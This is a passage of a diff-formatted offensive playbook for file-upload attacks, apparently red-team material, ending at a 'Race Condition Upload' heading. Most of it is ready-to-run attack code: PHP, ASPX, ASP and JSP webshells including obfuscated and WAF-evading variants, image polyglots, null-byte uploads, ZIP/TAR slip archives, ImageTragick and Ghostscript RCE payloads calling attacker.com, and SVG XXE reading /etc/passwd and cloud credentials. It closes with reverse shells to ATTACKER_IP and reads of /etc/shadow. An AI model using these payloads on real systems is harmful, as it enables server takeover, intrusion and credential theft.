with open('/tmp/shell_jpeg_magic.php', 'wb') as f:
|
|
286
|
+
f.write(combined)
|
|
287
|
+
print("[+] Created shell_jpeg_magic.php with JPEG magic bytes")
|
|
288
|
+
EOF
|
|
289
|
+
|
|
290
|
+
# Prepend GIF magic bytes
|
|
291
|
+
python3 << 'EOF'
|
|
292
|
+
gif_magic = b'GIF89a'
|
|
293
|
+
php_payload = b'\n<?php system($_GET["cmd"]); ?>'
|
|
294
|
+
combined = gif_magic + php_payload
|
|
295
|
+
with open('/tmp/shell_gif.php', 'wb') as f:
|
|
296
|
+
f.write(combined)
|
|
297
|
+
print("[+] Created shell_gif.php with GIF89a magic bytes")
|
|
298
|
+
EOF
|
|
299
|
+
|
|
300
|
+
# Prepend PNG magic bytes
|
|
301
|
+
python3 << 'EOF'
|
|
302
|
+
png_magic = b'\x89PNG\r\n\x1a\n'
|
|
303
|
+
php_payload = b'<?php system($_GET["cmd"]); ?>'
|
|
304
|
+
combined = png_magic + php_payload
|
|
305
|
+
with open('/tmp/shell_png.php', 'wb') as f:
|
|
306
|
+
f.write(combined)
|
|
307
|
+
print("[+] Created shell_png.php with PNG magic bytes")
|
|
308
|
+
EOF
|
|
309
|
+
|
|
310
|
+
# Upload the magic-bytes file with matching MIME and .php extension
|
|
311
|
+
curl -s -X POST https://TARGET/upload \
|
|
312
|
+
-F "file=@/tmp/shell_gif.php;type=image/gif" \
|
|
313
|
+
-b "session=YOUR_SESSION"
|
|
314
|
+
```
|
|
315
|
+
|
|
316
|
+
---
|
|
317
|
+
|
|
318
|
+
### Phase 4 — PHP Webshell Templates
|
|
319
|
+
|
|
320
|
+
**Step 8: Deploy the appropriate webshell**
|
|
321
|
+
|
|
322
|
+
```bash
|
|
323
|
+
# --- Minimal one-liner (for tight character limits) ---
|
|
324
|
+
echo '<?php system($_GET[0]);?>' > /tmp/s.php
|
|
325
|
+
|
|
326
|
+
# --- Standard GET shell ---
|
|
327
|
+
cat > /tmp/shell_std.php << 'EOF'
|
|
328
|
+
<?php
|
|
329
|
+
if(isset($_GET['cmd'])){
|
|
330
|
+
$cmd = $_GET['cmd'];
|
|
331
|
+
$output = shell_exec($cmd . ' 2>&1');
|
|
332
|
+
echo "<pre>" . htmlspecialchars($output) . "</pre>";
|
|
333
|
+
}
|
|
334
|
+
?>
|
|
335
|
+
EOF
|
|
336
|
+
|
|
337
|
+
# --- POST shell (avoids GET logs) ---
|
|
338
|
+
cat > /tmp/shell_post.php << 'EOF'
|
|
339
|
+
<?php
|
|
340
|
+
if(isset($_POST['c'])){
|
|
341
|
+
echo '<pre>' . shell_exec($_POST['c'] . ' 2>&1') . '</pre>';
|
|
342
|
+
}
|
|
343
|
+
?>
|
|
344
|
+
EOF
|
|
345
|
+
|
|
346
|
+
# --- Base64-encoded payload (WAF bypass) ---
|
|
347
|
+
cat > /tmp/shell_b64.php << 'EOF'
|
|
348
|
+
<?php
|
|
349
|
+
$f = base64_decode($_POST['d']);
|
|
350
|
+
eval($f);
|
|
351
|
+
?>
|
|
352
|
+
EOF
|
|
353
|
+
|
|
354
|
+
# Usage: POST d=c3lzdGVtKCRfR0VUWydjbWQnXSk7 (base64 of system($_GET['cmd']);)
|
|
355
|
+
|
|
356
|
+
# --- Obfuscated shell (evades signature-based detection) ---
|
|
357
|
+
cat > /tmp/shell_obf.php << 'EOF'
|
|
358
|
+
<?php
|
|
359
|
+
$a='sys'.'tem';
|
|
360
|
+
$b=$_GET['x'];
|
|
361
|
+
$a($b);
|
|
362
|
+
?>
|
|
363
|
+
EOF
|
|
364
|
+
|
|
365
|
+
# --- Variable function obfuscation ---
|
|
366
|
+
cat > /tmp/shell_var.php << 'EOF'
|
|
367
|
+
<?php
|
|
368
|
+
$_="\x73\x79\x73\x74\x65\x6d"; // "system"
|
|
369
|
+
$_(${'_GET'}['c']);
|
|
370
|
+
?>
|
|
371
|
+
EOF
|
|
372
|
+
|
|
373
|
+
# --- preg_replace /e modifier (PHP < 7) ---
|
|
374
|
+
cat > /tmp/shell_preg.php << 'EOF'
|
|
375
|
+
<?php preg_replace('/.*/e', $_POST['c'], ''); ?>
|
|
376
|
+
EOF
|
|
377
|
+
|
|
378
|
+
# --- assert() shell ---
|
|
379
|
+
cat > /tmp/shell_assert.php << 'EOF'
|
|
380
|
+
<?php assert($_GET['c']); ?>
|
|
381
|
+
EOF
|
|
382
|
+
|
|
383
|
+
# --- File manager webshell (full featured) ---
|
|
384
|
+
cat > /tmp/shell_fm.php << 'PHPEOF'
|
|
385
|
+
<?php
|
|
386
|
+
// RTExit Minimal File Manager Shell
|
|
387
|
+
error_reporting(0);
|
|
388
|
+
$auth = 'rtexit2024'; // change per engagement
|
|
389
|
+
if(!isset($_COOKIE['rt']) || $_COOKIE['rt'] !== $auth) {
|
|
390
|
+
setcookie('rt', '', time()-1);
|
|
391
|
+
die(base64_decode('VW5hdXRob3JpemVk'));
|
|
392
|
+
}
|
|
393
|
+
$root = isset($_POST['root']) ? $_POST['root'] : getcwd();
|
|
394
|
+
if(isset($_POST['cmd'])) {
|
|
395
|
+
echo '<pre>' . htmlspecialchars(shell_exec($_POST['cmd'] . ' 2>&1')) . '</pre>';
|
|
396
|
+
}
|
|
397
|
+
if(isset($_FILES['up'])) {
|
|
398
|
+
move_uploaded_file($_FILES['up']['tmp_name'], $root . '/' . $_FILES['up']['name']);
|
|
399
|
+
echo 'Uploaded: ' . $_FILES['up']['name'];
|
|
400
|
+
}
|
|
401
|
+
if(isset($_POST['read'])) {
|
|
402
|
+
echo '<pre>' . htmlspecialchars(file_get_contents($_POST['read'])) . '</pre>';
|
|
403
|
+
}
|
|
404
|
+
if(isset($_POST['write'])) {
|
|
405
|
+
file_put_contents($_POST['write'], $_POST['content']);
|
|
406
|
+
echo 'Written.';
|
|
407
|
+
}
|
|
408
|
+
echo '<form method="post">CMD:<input name="cmd" size="80"><input type="submit" value="exec"></form>';
|
|
409
|
+
echo '<form method="post">READ:<input name="read" size="80"><input type="submit" value="read"></form>';
|
|
410
|
+
?>
|
|
411
|
+
PHPEOF
|
|
412
|
+
|
|
413
|
+
echo "[+] Webshell templates created in /tmp/"
|
|
414
|
+
ls -la /tmp/shell_*.php
|
|
415
|
+
```
|
|
416
|
+
|
|
417
|
+
**Step 9: ASP.NET webshell templates**
|
|
418
|
+
|
|
419
|
+
```bash
|
|
420
|
+
# Minimal ASPX shell
|
|
421
|
+
cat > /tmp/shell.aspx << 'EOF'
|
|
422
|
+
<%@ Page Language="C#" %>
|
|
423
|
+
<%@ Import Namespace="System.Diagnostics" %>
|
|
424
|
+
<script runat="server">
|
|
425
|
+
protected void Page_Load(object sender, EventArgs e) {
|
|
426
|
+
string cmd = Request.QueryString["cmd"];
|
|
427
|
+
if (!string.IsNullOrEmpty(cmd)) {
|
|
428
|
+
ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + cmd);
|
|
429
|
+
psi.RedirectStandardOutput = true;
|
|
430
|
+
psi.UseShellExecute = false;
|
|
431
|
+
Process p = Process.Start(psi);
|
|
432
|
+
Response.Write("<pre>" + Server.HtmlEncode(p.StandardOutput.ReadToEnd()) + "</pre>");
|
|
433
|
+
}
|
|
434
|
+
}
|
|
435
|
+
</script>
|
|
436
|
+
EOF
|
|
437
|
+
|
|
438
|
+
# ASP classic
|
|
439
|
+
cat > /tmp/shell.asp << 'EOF'
|
|
440
|
+
<%
|
|
441
|
+
Dim oScript
|
|
442
|
+
Dim oScriptNet
|
|
443
|
+
Dim oFileSys, oFile
|
|
444
|
+
Dim szCMD, szTempFile
|
|
445
|
+
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
|
|
446
|
+
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
|
|
447
|
+
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
|
|
448
|
+
szCMD = Request.Form(".CMD")
|
|
449
|
+
If (szCMD <> "") Then
|
|
450
|
+
szTempFile = "C:\" & oFileSys.GetTempName()
|
|
451
|
+
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
|
|
452
|
+
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
|
|
453
|
+
Response.Write "<pre>" & oFile.ReadAll & "</pre>"
|
|
454
|
+
End If
|
|
455
|
+
%>
|
|
456
|
+
<form method="POST">
|
|
457
|
+
<input name=".CMD" size=70>
|
|
458
|
+
<input type="submit" value="Execute">
|
|
459
|
+
</form>
|
|
460
|
+
EOF
|
|
461
|
+
|
|
462
|
+
# JSP shell
|
|
463
|
+
cat > /tmp/shell.jsp << 'EOF'
|
|
464
|
+
<%@ page import="java.io.*" %>
|
|
465
|
+
<%
|
|
466
|
+
String cmd = request.getParameter("cmd");
|
|
467
|
+
if (cmd != null) {
|
|
468
|
+
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
|
|
469
|
+
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
|
|
470
|
+
StringBuilder sb = new StringBuilder();
|
|
471
|
+
String line;
|
|
472
|
+
while ((line = br.readLine()) != null) sb.append(line).append("\n");
|
|
473
|
+
out.println("<pre>" + sb.toString() + "</pre>");
|
|
474
|
+
}
|
|
475
|
+
%>
|
|
476
|
+
EOF
|
|
477
|
+
```
|
|
478
|
+
|
|
479
|
+
---
|
|
480
|
+
|
|
481
|
+
### Phase 5 — Null Byte Injection
|
|
482
|
+
|
|
483
|
+
**Step 10: Null byte filename bypass**
|
|
484
|
+
|
|
485
|
+
```bash
|
|
486
|
+
# Classic null byte — terminates string in C-based validation
|
|
487
|
+
# shell.php%00.jpg — PHP sees .jpg for validation, filesystem sees .php
|
|
488
|
+
|
|
489
|
+
# Python script to send null byte filename
|
|
490
|
+
python3 << 'EOF'
|
|
491
|
+
import requests
|
|
492
|
+
|
|
493
|
+
url = "https://TARGET/upload"
|
|
494
|
+
cookies = {"session": "YOUR_SESSION"}
|
|
495
|
+
|
|
496
|
+
# Method 1: URL-encoded null byte
|
|
497
|
+
files = {'file': ('shell.php\x00.jpg', open('/tmp/shell_std.php', 'rb'), 'image/jpeg')}
|
|
498
|
+
r = requests.post(url, files=files, cookies=cookies)
|
|
499
|
+
print("[null-method1]", r.status_code, r.text[:300])
|
|
500
|
+
|
|
501
|
+
# Method 2: Double URL-encoded
|
|
502
|
+
files = {'file': ('shell.php%2500.jpg', open('/tmp/shell_std.php', 'rb'), 'image/jpeg')}
|
|
503
|
+
r = requests.post(url, files=files, cookies=cookies)
|
|
504
|
+
print("[null-method2]", r.status_code, r.text[:300])
|
|
505
|
+
|
|
506
|
+
# Method 3: In the Content-Disposition header directly via raw request
|
|
507
|
+
# (use Burp Repeater for this)
|
|
508
|
+
EOF
|
|
509
|
+
|
|
510
|
+
# Burp-ready Python raw request for null byte
|
|
511
|
+
python3 << 'EOF'
|
|
512
|
+
import socket, ssl
|
|
513
|
+
|
|
514
|
+
host = "TARGET"
|
|
515
|
+
port = 443
|
|
516
|
+
session = "YOUR_SESSION"
|
|
517
|
+
|
|
518
|
+
# Build multipart manually with null byte in filename
|
|
519
|
+
boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW"
|
|
520
|
+
filename = "shell.php\x00.jpg"
|
|
521
|
+
php_payload = b"<?php system($_GET['cmd']); ?>"
|
|
522
|
+
|
|
523
|
+
body = (
|
|
524
|
+
f"--{boundary}\r\n"
|
|
525
|
+
f'Content-Disposition: form-data; name="file"; filename="{filename}"\r\n'
|
|
526
|
+
f"Content-Type: image/jpeg\r\n\r\n"
|
|
527
|
+
).encode() + php_payload + f"\r\n--{boundary}--\r\n".encode()
|
|
528
|
+
|
|
529
|
+
request = (
|
|
530
|
+
f"POST /upload HTTP/1.1\r\n"
|
|
531
|
+
f"Host: {host}\r\n"
|
|
532
|
+
f"Cookie: session={session}\r\n"
|
|
533
|
+
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
|
|
534
|
+
f"Content-Length: {len(body)}\r\n"
|
|
535
|
+
f"Connection: close\r\n\r\n"
|
|
536
|
+
).encode() + body
|
|
537
|
+
|
|
538
|
+
ctx = ssl.create_default_context()
|
|
539
|
+
with socket.create_connection((host, port)) as sock:
|
|
540
|
+
with ctx.wrap_socket(sock, server_hostname=host) as ssock:
|
|
541
|
+
ssock.sendall(request)
|
|
542
|
+
response = ssock.recv(4096)
|
|
543
|
+
print(response.decode(errors='replace'))
|
|
544
|
+
EOF
|
|
545
|
+
```
|
|
546
|
+
|
|
547
|
+
---
|
|
548
|
+
|
|
549
|
+
### Phase 6 — Image EXIF Injection
|
|
550
|
+
|
|
551
|
+
**Step 11: Embed PHP payload in image EXIF data**
|
|
552
|
+
|
|
553
|
+
```bash
|
|
554
|
+
# Create a valid JPEG with PHP payload in EXIF Comment field
|
|
555
|
+
exiftool -Comment='<?php system($_GET["cmd"]); ?>' /tmp/legit.jpg -o /tmp/exif_shell.jpg
|
|
556
|
+
|
|
557
|
+
# Verify payload is present
|
|
558
|
+
exiftool /tmp/exif_shell.jpg | grep Comment
|
|
559
|
+
|
|
560
|
+
# Embed in multiple EXIF fields for redundancy
|
|
561
|
+
exiftool \
|
|
562
|
+
-Comment='<?php system($_GET["cmd"]); ?>' \
|
|
563
|
+
-Artist='<?php echo shell_exec($_GET["c"]); ?>' \
|
|
564
|
+
-Copyright='<?php passthru($_POST["x"]); ?>' \
|
|
565
|
+
/tmp/legit.jpg -o /tmp/exif_multi.jpg
|
|
566
|
+
|
|
567
|
+
# Upload with .php extension (combine with extension bypass)
|
|
568
|
+
curl -s -X POST https://TARGET/upload \
|
|
569
|
+
-F "file=@/tmp/exif_shell.jpg;filename=avatar.php;type=image/jpeg" \
|
|
570
|
+
-b "session=YOUR_SESSION"
|
|
571
|
+
|
|
572
|
+
# If the app serves images through PHP (readfile/passthru), even .jpg may execute
|
|
573
|
+
# Check: does the app include/require the file? Does it process with imagecreatefromjpeg?
|
|
574
|
+
# imagecreatefromjpeg() strips EXIF — only works if file is included as PHP
|
|
575
|
+
```
|
|
576
|
+
|
|
577
|
+
**Step 12: Create polyglot image + PHP**
|
|
578
|
+
|
|
579
|
+
```bash
|
|
580
|
+
# Polyglot: valid GIF file that is also valid PHP
|
|
581
|
+
python3 << 'EOF'
|
|
582
|
+
# GIF89a header is valid PHP comment context if we wrap it properly
|
|
583
|
+
payload = b'GIF89a' + b'<?php system($_GET["cmd"]); ?>'
|
|
584
|
+
with open('/tmp/polyglot.php.gif', 'wb') as f:
|
|
585
|
+
f.write(payload)
|
|
586
|
+
|
|
587
|
+
# Also create as .gif for testing if app executes .gif
|
|
588
|
+
with open('/tmp/polyglot.gif', 'wb') as f:
|
|
589
|
+
f.write(payload)
|
|
590
|
+
|
|
591
|
+
print("[+] Polyglot files created")
|
|
592
|
+
EOF
|
|
593
|
+
|
|
594
|
+
# Advanced polyglot: real valid JPEG with PHP payload appended
|
|
595
|
+
python3 << 'EOF'
|
|
596
|
+
with open('/tmp/real_image.jpg', 'rb') as f:
|
|
597
|
+
jpeg_data = f.read()
|
|
598
|
+
|
|
599
|
+
# Append PHP after JPEG end-of-image marker (FFD9)
|
|
600
|
+
php_payload = b'\n<?php system($_GET["cmd"]); ?>'
|
|
601
|
+
polyglot = jpeg_data + php_payload
|
|
602
|
+
|
|
603
|
+
with open('/tmp/polyglot_real.php', 'wb') as f:
|
|
604
|
+
f.write(polyglot)
|
|
605
|
+
|
|
606
|
+
print(f"[+] Real polyglot JPEG+PHP created: {len(polyglot)} bytes")
|
|
607
|
+
EOF
|
|
608
|
+
|
|
609
|
+
# Verify it's still a valid image
|
|
610
|
+
file /tmp/polyglot_real.php
|
|
611
|
+
identify /tmp/polyglot_real.php 2>/dev/null || echo "ImageMagick not available"
|
|
612
|
+
```
|
|
613
|
+
|
|
614
|
+
---
|
|
615
|
+
|
|
616
|
+
### Phase 7 — ZIP Slip (Path Traversal via Archive)
|
|
617
|
+
|
|
618
|
+
**Step 13: Create malicious ZIP with path traversal**
|
|
619
|
+
|
|
620
|
+
```bash
|
|
621
|
+
# ZIP slip: archive contains file with ../ path that escapes extraction dir
|
|
622
|
+
python3 << 'EOF'
|
|
623
|
+
import zipfile, os
|
|
624
|
+
|
|
625
|
+
# Target paths to try (Linux/Mac)
|
|
626
|
+
targets_linux = [
|
|
627
|
+
'../../../var/www/html/shell.php',
|
|
628
|
+
'../../../srv/http/shell.php',
|
|
629
|
+
'../../webroot/shell.php',
|
|
630
|
+
'../uploads/shell.php',
|
|
631
|
+
'../public/shell.php',
|
|
632
|
+
'../web/shell.php',
|
|
633
|
+
'../www/shell.php',
|
|
634
|
+
'../../html/shell.php',
|
|
635
|
+
]
|
|
636
|
+
|
|
637
|
+
# Windows targets
|
|
638
|
+
targets_windows = [
|
|
639
|
+
'..\\..\\inetpub\\wwwroot\\shell.aspx',
|
|
640
|
+
'..\\..\\xampp\\htdocs\\shell.php',
|
|
641
|
+
'..\\..\\wamp\\www\\shell.php',
|
|
642
|
+
]
|
|
643
|
+
|
|
644
|
+
php_shell = b'<?php system($_GET["cmd"]); ?>'
|
|
645
|
+
aspx_shell = b'<%@ Page Language="VB" %><% Response.Write(CreateObject("WScript.Shell").Exec(Request("c")).StdOut.ReadAll()) %>'
|
|
646
|
+
|
|
647
|
+
# Create ZIP with multiple traversal attempts
|
|
648
|
+
with zipfile.ZipFile('/tmp/zipslip.zip', 'w') as zf:
|
|
649
|
+
for path in targets_linux:
|
|
650
|
+
zf.writestr(zipfile.ZipInfo(path), php_shell)
|
|
651
|
+
for path in targets_windows:
|
|
652
|
+
zf.writestr(zipfile.ZipInfo(path), aspx_shell)
|
|
653
|
+
# Also write a legit file to avoid suspicion
|
|
654
|
+
zf.writestr('readme.txt', 'Legitimate archive contents')
|
|
655
|
+
|
|
656
|
+
print("[+] Created /tmp/zipslip.zip with path traversal entries:")
|
|
657
|
+
with zipfile.ZipFile('/tmp/zipslip.zip', 'r') as zf:
|
|
658
|
+
for name in zf.namelist():
|
|
659
|
+
print(f" {name}")
|
|
660
|
+
EOF
|
|
661
|
+
|
|
662
|
+
# Create targeted ZIP slip for specific path
|
|
663
|
+
python3 << 'EOF'
|
|
664
|
+
import zipfile
|
|
665
|
+
|
|
666
|
+
target_path = "../../var/www/html/uploads/shell.php" # Adjust per recon
|
|
667
|
+
php_shell = b'<?php system($_GET["cmd"]); ?>'
|
|
668
|
+
|
|
669
|
+
with zipfile.ZipFile('/tmp/zipslip_targeted.zip', 'w') as zf:
|
|
670
|
+
info = zipfile.ZipInfo(target_path)
|
|
671
|
+
zf.writestr(info, php_shell)
|
|
672
|
+
|
|
673
|
+
print(f"[+] Targeted ZIP slip: {target_path}")
|
|
674
|
+
EOF
|
|
675
|
+
|
|
676
|
+
# Upload the ZIP
|
|
677
|
+
curl -s -X POST https://TARGET/upload \
|
|
678
|
+
-F "file=@/tmp/zipslip.zip;type=application/zip" \
|
|
679
|
+
-b "session=YOUR_SESSION"
|
|
680
|
+
|
|
681
|
+
# If app extracts and lists files, test if shell landed
|
|
682
|
+
curl -s "https://TARGET/shell.php?cmd=id"
|
|
683
|
+
curl -s "https://TARGET/uploads/shell.php?cmd=id"
|
|
684
|
+
```
|
|
685
|
+
|
|
686
|
+
**Step 14: TAR slip (same concept, TAR archives)**
|
|
687
|
+
|
|
688
|
+
```bash
|
|
689
|
+
python3 << 'EOF'
|
|
690
|
+
import tarfile, io
|
|
691
|
+
|
|
692
|
+
php_shell = b'<?php system($_GET["cmd"]); ?>'
|
|
693
|
+
target = "../../var/www/html/shell.php"
|
|
694
|
+
|
|
695
|
+
with tarfile.open('/tmp/tarslip.tar.gz', 'w:gz') as tf:
|
|
696
|
+
info = tarfile.TarInfo(name=target)
|
|
697
|
+
info.size = len(php_shell)
|
|
698
|
+
tf.addfile(info, io.BytesIO(php_shell))
|
|
699
|
+
|
|
700
|
+
print(f"[+] TAR slip archive created: {target}")
|
|
701
|
+
EOF
|
|
702
|
+
|
|
703
|
+
curl -s -X POST https://TARGET/upload \
|
|
704
|
+
-F "file=@/tmp/tarslip.tar.gz;type=application/gzip" \
|
|
705
|
+
-b "session=YOUR_SESSION"
|
|
706
|
+
```
|
|
707
|
+
|
|
708
|
+
---
|
|
709
|
+
|
|
710
|
+
### Phase 8 — ImageMagick Exploitation
|
|
711
|
+
|
|
712
|
+
**Step 15: ImageMagick SSRF via MVG/SVG (CVE-2016-3714 — ImageTragick)**
|
|
713
|
+
|
|
714
|
+
```bash
|
|
715
|
+
# Check if target uses ImageMagick (look for convert/mogrify in errors, headers)
|
|
716
|
+
# ImageTragick payloads — still relevant on unpatched systems
|
|
717
|
+
|
|
718
|
+
# SSRF via HTTP request
|
|
719
|
+
cat > /tmp/imagetragick_ssrf.mvg << 'EOF'
|
|
720
|
+
push graphic-context
|
|
721
|
+
viewbox 0 0 640 480
|
|
722
|
+
fill 'url(https://attacker.com/log?host=TARGET)'
|
|
723
|
+
pop graphic-context
|
|
724
|
+
EOF
|
|
725
|
+
|
|
726
|
+
# RCE via delegate
|
|
727
|
+
cat > /tmp/imagetragick_rce.mvg << 'EOF'
|
|
728
|
+
push graphic-context
|
|
729
|
+
viewbox 0 0 640 480
|
|
730
|
+
fill 'url(https://attacker.com/"|id > /tmp/rtexit_pwned")'
|
|
731
|
+
pop graphic-context
|
|
732
|
+
EOF
|
|
733
|
+
|
|
734
|
+
# As SVG
|
|
735
|
+
cat > /tmp/imagetragick.svg << 'EOF'
|
|
736
|
+
<?xml version="1.0" standalone="no"?>
|
|
737
|
+
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
|
738
|
+
<svg width="640px" height="480px" version="1.1" xmlns="http://www.w3.org/2000/svg"
|
|
739
|
+
xmlns:xlink="http://www.w3.org/1999/xlink">
|
|
740
|
+
<image xlink:href="https://attacker.com/log?ssrf=1" x="0" y="0" height="480px" width="640px"/>
|
|
741
|
+
</svg>
|
|
742
|
+
EOF
|
|
743
|
+
|
|
744
|
+
# Upload
|
|
745
|
+
curl -s -X POST https://TARGET/upload \
|
|
746
|
+
-F "file=@/tmp/imagetragick_ssrf.mvg;type=image/png;filename=exploit.png" \
|
|
747
|
+
-b "session=YOUR_SESSION"
|
|
748
|
+
|
|
749
|
+
# Check attacker.com access logs for callback
|
|
750
|
+
```
|
|
751
|
+
|
|
752
|
+
**Step 16: ImageMagick ghostscript RCE (CVE-2018-16509)**
|
|
753
|
+
|
|
754
|
+
```bash
|
|
755
|
+
# Ghostscript delegate RCE
|
|
756
|
+
cat > /tmp/gs_rce.eps << 'EOF'
|
|
757
|
+
%!PS-Adobe-3.0 EPSF-3.0
|
|
758
|
+
%%BoundingBox: -0 -0 100 100
|
|
759
|
+
userdict /setpagedevice undef
|
|
760
|
+
legal
|
|
761
|
+
{ null restore } stopped { pop } if
|
|
762
|
+
legal
|
|
763
|
+
mark /OutputFile (%pipe%id>/tmp/rtexit_rce_proof) currentdevice putdeviceprops
|
|
764
|
+
EOF
|
|
765
|
+
|
|
766
|
+
curl -s -X POST https://TARGET/upload \
|
|
767
|
+
-F "file=@/tmp/gs_rce.eps;type=image/eps;filename=image.eps" \
|
|
768
|
+
-b "session=YOUR_SESSION"
|
|
769
|
+
```
|
|
770
|
+
|
|
771
|
+
**Step 17: SVG XXE / SSRF**
|
|
772
|
+
|
|
773
|
+
```bash
|
|
774
|
+
# XXE via SVG upload — extract /etc/passwd
|
|
775
|
+
cat > /tmp/xxe.svg << 'EOF'
|
|
776
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
777
|
+
<!DOCTYPE svg [
|
|
778
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
779
|
+
]>
|
|
780
|
+
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
|
|
781
|
+
<text x="10" y="20">&xxe;</text>
|
|
782
|
+
</svg>
|
|
783
|
+
EOF
|
|
784
|
+
|
|
785
|
+
# XXE SSRF to internal network
|
|
786
|
+
cat > /tmp/xxe_ssrf.svg << 'EOF'
|
|
787
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
788
|
+
<!DOCTYPE svg [
|
|
789
|
+
<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
|
|
790
|
+
]>
|
|
791
|
+
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
|
|
792
|
+
<text x="10" y="20">&ssrf;</text>
|
|
793
|
+
</svg>
|
|
794
|
+
EOF
|
|
795
|
+
|
|
796
|
+
curl -s -X POST https://TARGET/upload \
|
|
797
|
+
-F "file=@/tmp/xxe.svg;type=image/svg+xml" \
|
|
798
|
+
-b "session=YOUR_SESSION" -o /tmp/svg_response.txt
|
|
799
|
+
|
|
800
|
+
# If response contains the SVG text field with file contents:
|
|
801
|
+
grep -A5 "<text" /tmp/svg_response.txt
|
|
802
|
+
```
|
|
803
|
+
|
|
804
|
+
---
|
|
805
|
+
|
|
806
|
+
### Phase 9 — Upload to Webshell Execution Chain
|
|
807
|
+
|
|
808
|
+
**Step 18: Locate and access the uploaded shell**
|
|
809
|
+
|
|
810
|
+
```bash
|
|
811
|
+
# Strategy 1: URL is returned in response
|
|
812
|
+
SHELL_URL=$(curl -s -X POST https://TARGET/upload \
|
|
813
|
+
-F "file=@/tmp/shell_std.php;filename=shell.php" \
|
|
814
|
+
-b "session=YOUR_SESSION" | python3 -c "
|
|
815
|
+
import sys, json, re
|
|
816
|
+
data = sys.stdin.read()
|
|
817
|
+
try:
|
|
818
|
+
j = json.loads(data)
|
|
819
|
+
# Common response keys
|
|
820
|
+
for key in ['url', 'path', 'file', 'filename', 'location', 'src', 'href']:
|
|
821
|
+
if key in j:
|
|
822
|
+
print(j[key]); break
|
|
823
|
+
except:
|
|
824
|
+
# Try regex
|
|
825
|
+
urls = re.findall(r'https?://[^\s\"\'<>]+', data)
|
|
826
|
+
paths = re.findall(r'/[a-z0-9_/.-]+\.(php|aspx|jsp)', data, re.I)
|
|
827
|
+
for u in urls: print(u)
|
|
828
|
+
for p in paths: print(p)
|
|
829
|
+
")
|
|
830
|
+
echo "[+] Shell URL: $SHELL_URL"
|
|
831
|
+
|
|
832
|
+
# Strategy 2: Predictable path based on reconnaissance
|
|
833
|
+
for path in "/uploads/" "/files/" "/media/" "/assets/" "/tmp/" "/public/uploads/"; do
|
|
834
|
+
echo "[*] Trying: https://TARGET${path}shell.php"
|
|
835
|
+
curl -s -o /dev/null -w "%{http_code}" "https://TARGET${path}shell.php"
|
|
836
|
+
echo ""
|
|
837
|
+
done
|
|
838
|
+
|
|
839
|
+
# Strategy 3: UUID/hash filename — brute is infeasible; check response body carefully
|
|
840
|
+
python3 << 'EOF'
|
|
841
|
+
import requests, re, json
|
|
842
|
+
|
|
843
|
+
url = "https://TARGET/upload"
|
|
844
|
+
cookies = {"session": "YOUR_SESSION"}
|
|
845
|
+
files = {'file': ('shell.php', open('/tmp/shell_std.php', 'rb'), 'image/jpeg')}
|
|
846
|
+
r = requests.post(url, files=files, cookies=cookies)
|
|
847
|
+
|
|
848
|
+
print("Status:", r.status_code)
|
|
849
|
+
print("Headers:", dict(r.headers))
|
|
850
|
+
try:
|
|
851
|
+
data = r.json()
|
|
852
|
+
print("JSON:", json.dumps(data, indent=2))
|
|
853
|
+
except:
|
|
854
|
+
print("Body:", r.text[:1000])
|
|
855
|
+
|
|
856
|
+
# Extract any path
|
|
857
|
+
paths = re.findall(r'["\'](/[^"\']+\.(php|aspx|jsp|gif|jpg|png))["\']', r.text, re.I)
|
|
858
|
+
for p in paths:
|
|
859
|
+
print("[PATH]", p[0])
|
|
860
|
+
EOF
|
|
861
|
+
```
|
|
862
|
+
|
|
863
|
+
**Step 19: Execute commands via uploaded shell**
|
|
864
|
+
|
|
865
|
+
```bash
|
|
866
|
+
# Basic execution test
|
|
867
|
+
SHELL_URL="https://TARGET/uploads/shell.php"
|
|
868
|
+
|
|
869
|
+
curl -s "${SHELL_URL}?cmd=id"
|
|
870
|
+
curl -s "${SHELL_URL}?cmd=whoami"
|
|
871
|
+
curl -s "${SHELL_URL}?cmd=uname+-a"
|
|
872
|
+
curl -s "${SHELL_URL}?cmd=cat+/etc/passwd"
|
|
873
|
+
|
|
874
|
+
# POST-based shell
|
|
875
|
+
curl -s -X POST "${SHELL_URL}" -d "c=id"
|
|
876
|
+
curl -s -X POST "${SHELL_URL}" -d "c=cat /etc/shadow"
|
|
877
|
+
|
|
878
|
+
# Escalate to reverse shell
|
|
879
|
+
ATTACKER_IP="10.10.10.10"
|
|
880
|
+
ATTACKER_PORT="4444"
|
|
881
|
+
|
|
882
|
+
# Start listener
|
|
883
|
+
nc -lvnp $ATTACKER_PORT &
|
|
884
|
+
|
|
885
|
+
# Trigger reverse shell via webshell
|
|
886
|
+
REVSHELL="bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1"
|
|
887
|
+
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${REVSHELL}'))")
|
|
888
|
+
curl -s "${SHELL_URL}?cmd=${ENCODED}"
|
|
889
|
+
|
|
890
|
+
# Alternative: Python reverse shell
|
|
891
|
+
curl -s "${SHELL_URL}" --data-urlencode "cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"${ATTACKER_IP}\",${ATTACKER_PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
|
|
892
|
+
```
|
|
893
|
+
|
|
894
|
+
---
|
|
895
|
+
|
|
896
|
+
### Phase 10 — Race Condition Upload
